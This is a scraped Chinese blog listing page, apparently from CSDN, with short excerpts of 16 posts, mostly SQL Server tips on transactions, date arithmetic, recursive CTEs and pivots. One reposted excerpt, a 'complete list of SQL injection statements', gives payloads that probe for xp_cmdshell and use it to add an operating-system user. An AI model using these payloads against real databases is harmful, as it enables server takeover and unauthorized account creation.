自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(16)
  • 收藏
  • 关注

原创 关于SQL的XACT_ABORT属性

XACT_ABORT原意是精确终止其实在SQL运行中很好理解默认XACT_ABORT=OFF的情况下,语句不管什么情况,遇到什么错误,反正错误了也继续执行,意思为错也不回头。在XACT_ABORT=ON的情况下,语句遇到一个错误就停止执行并回滚错误:关键是这个是事务联系起来,一个事务就是一个错误,所以事务内错了整个事务就回滚,就把一个事务当成一句语句好了。这个容易和存储过程搞,

2017-03-31 08:55:39 7438

转载 sql注入语句大全

sql注入语句大全--是否存在xp_cmdshell and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell') --用xp_cmdshell执行命令 ;exec master..xp_cmdshell "net user name password /add"

2014-09-18 09:40:06 1408

原创 计算两个日期之间相差几年几月几日。

declare @s datetimeset @s='2013-9-11'selectcase when cast(datepart(mm,getdate()) as varchar)+right('00'+cast(datepart(dd,getdate()) as varchar),2)>=cast(datepart(mm,@s) as varchar)+right('00'+cas

2014-09-09 16:57:47 1982

转载 T-SQL 查询语句的执行顺序解析

查询语句大家用的很多,但是知道语句执行的顺序和各各阶段的作用的人却很少。这里给大家简单介绍一下(5)SELECT (5-2) DISTINCT(5-3)TOP()(5-1) (1)FROM (1-J) JOIN on (2)WHERE (3)GROUP BY (4)HAVING (6)ORDER BY ;  每一步都会生成一个虚拟表,该虚拟表会作为下一步的输入

2014-07-31 13:41:45 574

转载 CTE递归应用,树状结构,查询所有子部门、子部门数量、按层级显示部门名称

-- 建立演示环境CREATE TABLE Dept( id int PRIMARY KEY, parent_id int, name nvarchar(20))INSERT DeptSELECT 0, 0, N'' UNION ALLSELECT 1, 0, N'财务部' UNION ALLSELECT 2, 0, N'行政部' UNION ALLSELECT 3, 0, N

2014-07-31 11:58:32 1465

原创 取每个分组的第一条记录

if object_id('tb') is not null drop table tbcreate table tb(gp int,seq int,va varchar(10))goinsert into tbselect 1,2,'网上'union all select 1,1,'门店'union all select 1,3,'超市'union all select 2,4,'

2014-07-30 15:01:35 1064

原创 MSSQL生成连续日期的方法

DECLARE @sdate datetimeDECLARE @edate datetimeSET @sdate = '2014-1-1'SET @edate = '2014-12-31' --采用master..spt_values表,但是最大日期间隔不能超过2048SELECT Dateadd(DAY,NUMBER,@sdate)FROM

2014-07-17 09:21:22 611

转载 SQL Server 日期相关

对于开发人员来说,日期处理或许简单,或许很难。结合自己过往的开发经验并整合网上的例子,总结出一些日期相关的操作,供自己备用及为大家分享: 一、日期类型:对于SQL Server 2008 来说(因为2000甚至2005已经稍微有被淘汰的迹象,所以在此不作过多说明,加上自己工作使用的是2008R2。所以不保证08以前的能用),日期类型有:数据类型格式

2014-07-17 08:55:09 461

原创 MSSQL 行转列

在SQL2000中,行转列一般都要用

2014-07-10 17:04:46 915

原创 从最小的开始,求下一个大于等于5的值,再从第求出的值开始,直至结束,求序列,CTE递归应用

测试数据WITH t1(num) AS (SELECT 1 UNION ALL SELECT 3 UNION ALL SELECT 6 UNION ALL SELECT 7 UNION ALL SELECT 8 UNION

2014-07-08 17:30:01 391

原创 查询数据库MSSQL2005表主键,一行显示

with tb as(select pk_table=d.name,pk_name=b.name,pk_column=a.namefrom sys.columns a,sys.indexes b,sys.index_columns c,sys.tables dwhere b.is_primary_key=1and a.column_id=c.column_idand a.object_i

2014-06-28 18:45:37 503

原创 SQL前后相减、累计求和、多行合并

前后相减with tb as(select 1 id,25 qtyunion all select 2,30union all select 3,67)select *,(select a.qty-b.qty from tb b where a.id=b.id+1) 差from tb a累计求和

2014-06-26 13:29:24 13541

转载 经典SQL语句大全

一、基础1、说明:创建数据库CREATE DATABASE database-name2、说明:删除数据库drop database dbname3、说明:备份sqlserver--- 创建 备份数据的 deviceUSE masterEXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_

2014-04-30 15:50:02 513

转载 项目管理过程攻略——送给初为项目经理的朋友

这篇文章是本人在某论坛中应大家需求连载的一篇关于项目整个执行过程中项目经理需要注意和关注的问题的介绍,现整理后发表于本站,欢迎大家点评。在说项目管理问题的之前,有必要温习下有关项目管理的一些基本知识,了解了这些基本的东西,应该有助于我们去理解项目协调工作都要做哪些事情。关于项目的定义:项目是为完成某一独特的产品和服务所做的一次性努力。一次性——项目有明确的开始时间和结束时间。当项目目标

2014-04-30 15:45:49 1036

原创 KMP算法日志——证明

下标遵循C标准,从0开始。前缀字符串后缀字符串目标:寻找字符串T在字符串S中出现的第一个位置,没有为-1。朴素算法按照朴素匹配算法,串T从头开始逐一和串穿S比较,如果遇到不相等,串S的比较位置则回溯到上一次比较位置的下一位,串T再次从头开始逐一和串S比较.。下标0123456

2014-04-30 15:42:57 470

转载 公司请你来做什么?

马云:公司请你来做什么? 请你来是解决问题而不是制造问题 如果你不能发现问题或解决不了问题,你本人就是一个问题 你能解决多大的问题,你就坐多高的位子 你能解决多少问题,你就能拿多少薪水 让解决问题的人高升,让制造问题的人让位,让抱怨问题的人下课  【问题就是你的机会】 1、公司的问题:就是你改善的机会; 2、客户的问题:就是你提供服务的机会;3、自己

2014-04-30 15:20:31 621

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除